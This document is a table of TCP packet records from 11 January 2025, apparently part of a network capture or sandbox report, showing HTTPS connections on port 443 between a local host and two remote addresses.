| Jan 11, 2025 03:52:37.075328112 CET | 443 | 53462 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:37.418164015 CET | 443 | 53462 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:37.418267012 CET | 53462 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:37.418550968 CET | 53462 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:37.418607950 CET | 443 | 53462 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:37.418673038 CET | 53462 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:37.441757917 CET | 53463 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:37.441831112 CET | 443 | 53463 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:37.441967964 CET | 53463 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:37.442394972 CET | 53463 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:37.442419052 CET | 443 | 53463 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:38.076277018 CET | 443 | 53463 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:38.076387882 CET | 53463 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:38.077128887 CET | 53463 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:38.077142954 CET | 443 | 53463 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:38.077382088 CET | 53463 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:38.077387094 CET | 443 | 53463 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:38.510307074 CET | 443 | 53463 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:38.510437012 CET | 53463 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:38.510477066 CET | 443 | 53463 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:38.510499001 CET | 443 | 53463 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:38.510539055 CET | 53463 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:38.510545969 CET | 443 | 53463 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:38.510561943 CET | 53463 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:38.510601044 CET | 53463 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:38.510606050 CET | 443 | 53463 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:38.510663986 CET | 443 | 53463 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:38.510670900 CET | 53463 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:38.510720015 CET | 53463 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:38.511262894 CET | 53463 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:38.511281013 CET | 443 | 53463 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:38.511310101 CET | 53463 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:38.511337996 CET | 53463 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:38.632772923 CET | 53464 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:38.632857084 CET | 443 | 53464 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:38.632947922 CET | 53464 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:38.634630919 CET | 53464 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:38.634649992 CET | 443 | 53464 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:39.274117947 CET | 443 | 53464 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:39.274255037 CET | 53464 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:39.274766922 CET | 443 | 53464 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:39.274841070 CET | 53464 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:39.276978970 CET | 53464 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:39.277007103 CET | 443 | 53464 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:39.277220011 CET | 443 | 53464 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:39.277287960 CET | 53464 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:39.277766943 CET | 53464 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:39.319336891 CET | 443 | 53464 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:39.662760019 CET | 443 | 53464 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:39.662887096 CET | 53464 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:39.662919998 CET | 443 | 53464 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:39.662981987 CET | 53464 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:39.663979053 CET | 53464 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:39.663985014 CET | 443 | 53464 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:39.664041042 CET | 443 | 53464 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:39.664087057 CET | 53464 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:39.664115906 CET | 53464 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:39.685184002 CET | 53465 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:39.685245037 CET | 443 | 53465 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:39.685326099 CET | 53465 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:39.686758995 CET | 53465 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:39.686783075 CET | 443 | 53465 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:40.323538065 CET | 443 | 53465 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:40.323594093 CET | 53465 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:40.324526072 CET | 53465 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:40.324533939 CET | 443 | 53465 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:40.324748039 CET | 53465 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:40.324752092 CET | 443 | 53465 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:40.775279045 CET | 443 | 53465 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:40.775459051 CET | 53465 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:40.775489092 CET | 443 | 53465 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:40.775541067 CET | 53465 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:40.775587082 CET | 443 | 53465 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:40.775645018 CET | 53465 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:40.775651932 CET | 443 | 53465 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:40.775662899 CET | 443 | 53465 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:40.775719881 CET | 53465 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:40.785382032 CET | 53465 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:40.785410881 CET | 443 | 53465 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:40.967784882 CET | 53466 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:40.967859030 CET | 443 | 53466 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:40.967945099 CET | 53466 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:40.973774910 CET | 53466 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:40.973809958 CET | 443 | 53466 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:41.628043890 CET | 443 | 53466 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:41.628303051 CET | 53466 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:41.629031897 CET | 53466 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:41.629051924 CET | 443 | 53466 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:41.629226923 CET | 53466 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:41.629232883 CET | 443 | 53466 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:42.014666080 CET | 443 | 53466 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:42.014882088 CET | 53466 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:42.014928102 CET | 443 | 53466 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:42.014985085 CET | 53466 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:42.015176058 CET | 53466 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:42.015212059 CET | 443 | 53466 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:42.015271902 CET | 53466 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:42.016201973 CET | 53467 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:42.016251087 CET | 443 | 53467 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:42.016346931 CET | 53467 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:42.016709089 CET | 53467 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:42.016726017 CET | 443 | 53467 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:42.664091110 CET | 443 | 53467 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:42.664273977 CET | 53467 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:42.665112972 CET | 53467 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:42.665127993 CET | 443 | 53467 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:42.665335894 CET | 53467 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:42.665342093 CET | 443 | 53467 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:43.112456083 CET | 443 | 53467 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:43.112622976 CET | 53467 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:43.112652063 CET | 443 | 53467 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:43.112698078 CET | 443 | 53467 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:43.112708092 CET | 53467 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:43.112715960 CET | 443 | 53467 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:43.112741947 CET | 53467 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:43.112773895 CET | 53467 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:43.113065958 CET | 443 | 53467 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:43.113112926 CET | 443 | 53467 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:43.113112926 CET | 53467 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:43.113158941 CET | 53467 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:43.113265038 CET | 53467 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:43.113281965 CET | 443 | 53467 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:43.241157055 CET | 53468 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:43.241211891 CET | 443 | 53468 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:43.241314888 CET | 53468 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:43.241828918 CET | 53468 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:43.241847992 CET | 443 | 53468 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:43.891830921 CET | 443 | 53468 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:43.892014980 CET | 53468 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:43.892489910 CET | 443 | 53468 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:43.892559052 CET | 53468 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:43.911537886 CET | 53468 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:43.911593914 CET | 443 | 53468 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:43.911923885 CET | 443 | 53468 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:43.912033081 CET | 53468 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:43.930089951 CET | 53468 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:43.971365929 CET | 443 | 53468 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:44.373899937 CET | 443 | 53468 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:44.374021053 CET | 53468 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:44.375053883 CET | 443 | 53468 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:44.375107050 CET | 443 | 53468 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:44.375122070 CET | 53468 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:44.375168085 CET | 53468 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:44.377599001 CET | 53468 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:44.377648115 CET | 443 | 53468 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:44.377677917 CET | 53468 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:44.377722979 CET | 53468 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:44.399913073 CET | 53469 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:44.399949074 CET | 443 | 53469 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:44.400024891 CET | 53469 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:44.400616884 CET | 53469 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:44.400630951 CET | 443 | 53469 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:45.057075024 CET | 443 | 53469 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:45.057193041 CET | 53469 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:45.057921886 CET | 53469 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:45.057931900 CET | 443 | 53469 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:45.058121920 CET | 53469 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:45.058125973 CET | 443 | 53469 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:45.537311077 CET | 443 | 53469 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:45.537461996 CET | 53469 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:45.537496090 CET | 443 | 53469 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:45.537517071 CET | 443 | 53469 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:45.537549019 CET | 53469 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:45.537554026 CET | 443 | 53469 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:45.537583113 CET | 53469 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:45.537615061 CET | 53469 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:45.537620068 CET | 443 | 53469 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:45.537666082 CET | 53469 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:45.537697077 CET | 443 | 53469 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:45.537750006 CET | 53469 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:45.538160086 CET | 53469 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:45.538175106 CET | 443 | 53469 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:45.662923098 CET | 53471 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:45.663029909 CET | 443 | 53471 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:45.663171053 CET | 53471 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:45.663656950 CET | 53471 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:45.663691044 CET | 443 | 53471 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:46.327940941 CET | 443 | 53471 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:46.328167915 CET | 53471 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:46.329201937 CET | 53471 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:46.329230070 CET | 443 | 53471 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:46.329411030 CET | 53471 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:46.329421997 CET | 443 | 53471 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:46.713500977 CET | 443 | 53471 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:46.713701963 CET | 53471 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:46.713742971 CET | 443 | 53471 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:46.713849068 CET | 53471 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:46.714282990 CET | 443 | 53471 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:46.714349031 CET | 53471 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:46.714390993 CET | 53471 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:46.714399099 CET | 443 | 53471 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:46.714498043 CET | 53471 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:46.732126951 CET | 53477 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:46.732187033 CET | 443 | 53477 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:46.732276917 CET | 53477 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:46.732639074 CET | 53477 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:46.732657909 CET | 443 | 53477 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:47.382749081 CET | 443 | 53477 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:47.382812023 CET | 53477 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:47.383379936 CET | 53477 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:47.383392096 CET | 443 | 53477 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:47.383654118 CET | 53477 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:47.383660078 CET | 443 | 53477 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:47.865324974 CET | 443 | 53477 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:47.865452051 CET | 53477 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:47.865472078 CET | 443 | 53477 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:47.865520000 CET | 53477 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:47.865526915 CET | 443 | 53477 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:47.865556002 CET | 443 | 53477 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:47.865573883 CET | 53477 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:47.865633965 CET | 53477 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:47.865653992 CET | 443 | 53477 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:47.865706921 CET | 53477 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:47.865772963 CET | 443 | 53477 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:47.865823984 CET | 53477 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:47.867425919 CET | 53477 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:47.867444038 CET | 443 | 53477 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:47.990283012 CET | 53484 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:47.990331888 CET | 443 | 53484 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:47.990403891 CET | 53484 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:47.990871906 CET | 53484 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:47.990886927 CET | 443 | 53484 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:48.621292114 CET | 443 | 53484 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:48.621372938 CET | 53484 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:48.621989965 CET | 53484 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:48.622023106 CET | 443 | 53484 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:48.622236013 CET | 53484 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:48.622250080 CET | 443 | 53484 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:49.007211924 CET | 443 | 53484 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:49.007452965 CET | 53484 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:49.007570982 CET | 53484 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:49.007627964 CET | 443 | 53484 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:49.007695913 CET | 53484 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:49.021801949 CET | 53494 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:49.021855116 CET | 443 | 53494 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:49.021929026 CET | 53494 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:49.022188902 CET | 53494 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:49.022202015 CET | 443 | 53494 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:49.662614107 CET | 443 | 53494 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:49.662693024 CET | 53494 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:49.663326025 CET | 53494 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:49.663331985 CET | 443 | 53494 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:49.663575888 CET | 53494 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:49.663579941 CET | 443 | 53494 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:50.110796928 CET | 443 | 53494 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:50.110857964 CET | 443 | 53494 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:50.110915899 CET | 443 | 53494 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:50.110975981 CET | 53494 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:50.111008883 CET | 53494 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:50.111660957 CET | 53494 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:50.111675024 CET | 443 | 53494 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:50.240957975 CET | 53500 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:50.241003990 CET | 443 | 53500 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:50.241065979 CET | 53500 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:50.241416931 CET | 53500 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:50.241431952 CET | 443 | 53500 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:50.898993015 CET | 443 | 53500 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:50.899110079 CET | 53500 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:50.901879072 CET | 443 | 53500 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:50.902108908 CET | 53500 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:50.904222012 CET | 53500 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:50.904237032 CET | 443 | 53500 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:50.905024052 CET | 443 | 53500 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:50.905138969 CET | 53500 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:50.905582905 CET | 53500 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:50.951329947 CET | 443 | 53500 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:51.284962893 CET | 443 | 53500 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:51.285041094 CET | 53500 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:51.285048008 CET | 443 | 53500 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:51.285103083 CET | 53500 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:51.285352945 CET | 53500 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:51.285384893 CET | 443 | 53500 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:51.305782080 CET | 53511 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:51.305839062 CET | 443 | 53511 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:51.305936098 CET | 53511 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:51.306355000 CET | 53511 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:51.306375027 CET | 443 | 53511 | 172.217.16.129 | 192.168.2.4 |
